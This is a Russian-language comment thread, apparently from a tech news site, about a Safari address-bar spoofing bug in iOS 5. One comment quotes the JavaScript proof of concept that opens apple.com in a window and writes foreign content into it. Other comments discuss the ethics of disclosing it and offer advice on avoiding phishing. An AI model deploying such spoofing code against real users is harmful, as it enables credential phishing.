Comments 9
Радует, что если тапнуть по адресной строке и нажать перейти, то переходит действительно на apple.com. Теперь мой внутренний параноик будет заставлять меня делать эти глупые действия на любом сайте, где нужно вводить логин с паролем.
Баян, к тому же несогласованный: «Можете зайти на неё браузером Safari из-под iOS 5.1»,
«Уязвимость проверена и подтверждена в iOS 5.0.1 и iOS 5.1».
«Уязвимость проверена и подтверждена в iOS 5.0.1 и iOS 5.1».
Неприятный конечно баг, но пароли с его помощью все равно не увести, доступа к содержимому iframe все равно нет.
О, спосибо, как это зделать на пхп пиши лс!!!11
А если по теме, то не этично наверное так пиариться, уязвимость-то живая.
А если по теме, то не этично наверное так пиариться, уязвимость-то живая.
Для тех, кому лень лезть в сорцы страницы: сами строчки яваскрипта, вызывающие баг
document.getElementById('one').onclick = function() {
myWindow=window.open('http://www.apple.com','eintitel','width=200,height=100,location=yes');
myWindow.document.write("<html><head></head><body><strong>This is still hosted on MajorSecurity.net, but the the adressbar is being spoofed and is pointing to another FQDN. scary.</strong>
<iframe src=\"http://www.apple.com\");></iframe></scri+pt></body></html>");
myWindow.focus();
Это точно не перепост с этого сайта ??
По сути, нужно ввести за правило переходить на нужные сайты, которые требуют ввести пароль, через закладки или через прямой ввод адреса, а если попал на сайт через совершение каких-либо действий мышой или клавы, то нужно относиться подозрительно к ним.
Sign up to leave a comment.
Баг в браузере Safari